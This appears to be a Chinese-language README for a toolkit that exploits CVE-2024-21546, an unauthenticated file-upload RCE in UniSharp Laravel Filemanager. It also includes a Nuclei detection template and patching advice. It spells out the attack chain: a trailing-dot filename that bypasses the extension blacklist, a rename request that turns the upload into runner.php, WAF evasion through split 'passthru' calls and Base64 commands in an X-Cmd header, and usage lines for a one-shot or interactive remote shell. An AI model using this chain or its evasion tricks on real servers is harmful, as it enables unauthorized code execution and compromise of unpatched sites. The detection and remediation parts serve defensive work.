
自動化漏洞利用工具包與偵測範本,針對 CVE-2024-21546——UniSharp Laravel Filemanager 中的未驗證遠端程式碼執行(RCE)漏洞,具備 WAF 繞過功能與互動式 Shell。
本仓库包含安全评估工具、检测模板以及自动化利用工具包,用于识别和利用使用 UniSharp/laravel-filemanager 包(版本 < 2.9.1)的应用程序中的**未认证远程代码执行(RCE)**漏洞。
laravel-filemanager.yaml)
cve_2024_21546_rce.py)
该漏洞源于两个条件的组合:
/laravel-filemanager 路由时未应用 'auth' 或 'web' 中间件管道。.),允许攻击者绕过可执行文件黑名单并将 PHP 脚本放入公共存储中。LfmUploadValidator.php)在 v2.9.1 之前的版本中,LfmUploadValidator.php 使用以下方式检查文件扩展名是否在黑名单中:
public function extensionIsNotExcutable($unallowed_extensions)
{
$extension = strtolower($this->file->getClientOriginalExtension());
if (in_array($extension, $unallowed_extensions)) {
throw new \Exception('File extension is not allowed.');
}
return $this;
}
当攻击者上传名为 poc.php. 的文件时:
getClientOriginalExtension() 提取最后一个点之后的字符。getClientOriginalExtension() 计算结果为 ""(空字符串)。in_array("", ['php', 'html']) 计算结果为 false,从而绕过扩展名黑名单。在 Windows 和特定存储驱动上,文件以无扩展名的哈希(<hash>)形式持久化。该利用链结合 LFM 的 RenameController(GET /laravel-filemanager/rename?file=<hash>&new_name=runner.php)将上传的载荷重命名为活跃的 .php 文件,从而在 /storage/app/public/file-manager-files/items/runner.php 下获得即时 Web 执行能力。
laravel-filemanager.yaml)上游社区模板(http/exposed-panels/laravel-filemanager.yaml)(https://github.com/projectdiscovery/nuclei-templates/blob/main/http/exposed-panels/laravel-filemanager.yaml)依赖于硬编码的英文字符串匹配器:
matchers:
- type: word
words:
- "Laravel FileManager" # Fails on localized deployments or non english versions
当应用程序被本地化(例如阿拉伯语、法语、中文)时,HTML 正文中不存在英文字符串,导致误报(漏报)。
现代化模板通过匹配不可变的供应商资源路径和上传表单操作来检测面板:
id: laravel-filemanager
info:
name: Laravel File Manager - Panel Detect
author: digitalsurgn
severity: critical
description: Laravel File Manager panel was detected.
reference:
- https://github.com/UniSharp/laravel-filemanager
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
cwe-id: CWE-200
metadata:
max-request: 1
tags: panel,laravel,filemanager,fileupload,intrusive
http:
- method: GET
path:
- "{{BaseURL}}/laravel-filemanager?type=Files"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "vendor/laravel-filemanager"
- "laravel-filemanager/upload"
condition: or
- type: status
status:
- 200
nuclei -u https://target.com/ -t laravel-filemanager.yaml
cve_2024_21546_rce.py)独立的 Python 工具(cve_2024_21546_rce.py)自动化端到端的未认证利用,内置 WAF 规避和自我清理机制。
/laravel-filemanager 无需认证即可访问。jsonitems)进行前后快照,以识别上传的哈希,无需依赖硬编码的文件夹或文件名。<?=)、动态函数调用(('pas'.'sthru'))以及 Base64 编码的 X-Cmd 头来规避检测规则。--interactive)。python3 cve_2024_21546_rce.py [OPTIONS]
python3 cve_2024_21546_rce.py
python3 cve_2024_21546_rce.py -t xyz.com -c "whoami"
python3 cve_2024_21546_rce.py -t 10.10.10.50 -p 8080 --interactive
unisharp/laravel-filemanager 更新到 2.9.1 或更高版本:
composer update unisharp/laravel-filemanager
config/lfm.php 中所有文件管理器路由均受认证保护:
'middlewares' => ['web', 'auth'],
/storage/)中执行 .php 脚本。| 指标 | 详情 |
|---|
| 漏洞名称 | UniSharp Laravel Filemanager 不受限制的文件上传导致 RCE |
| CVE 标识符 | CVE-2024-21546 |
| 受影响组件 | unisharp/laravel-filemanager(< 2.9.1) |
| 常见弱点 | CWE-94(代码注入)/ CWE-434(不受限制的上传) |
| 严重性 | 严重(CVSS 9.8) |
| 攻击向量 | 远程 / 未认证 HTTP |
| 标志 | 参数 | 描述 |
|---|
-t, --target | <host> | 目标域名或 IP 地址(例如 example.com 或 192.168.1.50)。 |
-p, --port | <port> | 目标端口(如果不同于标准的 80/443)(例如 8080、8443)。 |
--scheme | http / https | 显式指定协议方案(默认:自动检测)。 |
-c, --cmd | <command> | 要执行的单条命令(例如 whoami、id、ipconfig)。 |
-i, --interactive | 标志 | 启动交互式命令执行 Shell。 |
-d, --dir | <path> | 目标 LFM 工作目录(默认:/items)。 |